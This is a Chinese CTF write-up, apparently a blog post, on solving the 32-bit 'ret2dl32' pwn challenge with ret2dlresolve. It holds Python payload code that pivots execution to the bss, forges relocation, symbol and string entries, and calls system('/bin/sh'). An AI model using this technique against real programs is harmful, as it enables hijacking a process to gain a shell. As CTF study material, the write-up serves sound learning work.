• ret2dl32


    ret2dl32

    首先检查一下保护:

    image-20200514131152092

    IDA分析一下

    image-20200514131218966

    程序很简单就是,往bss段上的buf读入0x400个数据,然后拷贝到栈上。read_got还被置为0,这一看就是要逼着你使用ret2dlresolve。

    首先我们程序劫持到bss段

    padding = 'x00'*0x10c
    padding += p32(base_stage+4)+'x00'*8+ p32(base_stage+0x500)
    padding =  padding.ljust(0x300,'x00')
    

    上面的代码使得我们把控制流劫持到base_stage的位置。base_stage就是buf+0x300的位置。

    接下来我们伪造 rel.plt ,dynsym ,dynstr这三个结构体,最后是布置好参数让程序执行plt0。

    fake_sym_addr = base_stage + 0x18
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
    fake_sym_addr = fake_sym_addr + align
    
    index_dynsym = (fake_sym_addr - dynsym) /0x10
    r_info = (index_dynsym << 8) | 0x7
    
    st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
    index_offset = (base_stage + 0x10) - rel_plt
    
    payload =  p32(plt_0)
    payload += p32(index_offset)    #+0x4
    payload += 'BBBB'
    payload += p32(base_stage+80)	#+0xC
    payload += p32(elf.got['read']) + p32(r_info)         #fake_rel
    payload += 'C' * align
    payload += p32(st_name) + p32(0) + p32(0) + p32(0x12) #fake_sym
    payload += 'systemx00'								  #fake_dynstr
    payload = payload.ljust(80,'A')			
    payload += '/bin/shx00
    
  • 相关阅读:
    静态查找表和动态查找表
    内存分配
    常用不等式
    考研线性代数(向量,线性方程组)
    考研线性代数(矩阵)
    考研线性代数(行列式)
    微积分常用思想方法小结
    bug修复集合(不定期更新)
    上下文对象及servletContext接口
    手动编解码解决get提交错误的问题
  • 原文地址:https://www.cnblogs.com/Rookle/p/12888056.html
Copyright © 2020-2023  润新知